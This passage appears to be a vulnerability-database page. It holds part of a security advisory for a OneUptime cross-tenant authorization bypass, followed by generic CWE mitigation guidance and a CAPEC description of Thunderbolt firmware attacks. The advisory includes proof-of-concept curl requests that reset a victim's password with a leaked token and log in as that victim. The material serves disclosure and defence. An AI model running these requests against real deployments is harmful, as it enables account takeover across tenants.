\"resetPasswordToken\": \"4b75e6d0-1aca-11f1-b2d4-698549b693fb\"\n    }\n  }]\n}\n```\n5. Take over victim account using leaked token\n```\n# Reset password with leaked token\ncurl -X POST http://localhost/api/identity/reset-password \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n    \"resetPasswordToken\": \"4b75e6d0-1aca-11f1-b2d4-698549b693fb\",\n    \"password\": \"AttackerChosenPassword123!\"\n  }\u0027\n\n# Login as victim with new password\ncurl -X POST http://localhost/api/identity/login \\\n  -H \"content-type: application/json\" \\\n  -d \u0027{\n    \"email\": \"victim@example.com\",\n    \"password\": \"AttackerChosenPassword123!\"\n  }\u0027\n```\nResult: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.\n\n\n\nResult: Victim project name is updated despite the attacker not being a member of the victim project.\n### Impact\nThis vulnerability allows a low\u2011privileged authenticated user to:\n\n- bypass tenant isolation\n- access other tenant projects\n- read sensitive user credential fields\n- leak plaintext reset tokens\n- reset victim passwords\n- fully take over victim accounts\n\nBecause OneUptime is a multi\u2011tenant monitoring platform, this allows attackers to compromise any tenant account in the system.",
  "id": "GHSA-r5v6-2599-9g3m",
  "modified": "2026-03-10T18:45:02Z",
  "published": "2026-03-10T01:09:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-r5v6-2599-9g3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30956"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OneUptime has authorization bypass via client\u2011controlled is-multi-tenant-query header that leads to cross\u2011tenant data exposure and account takeover"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list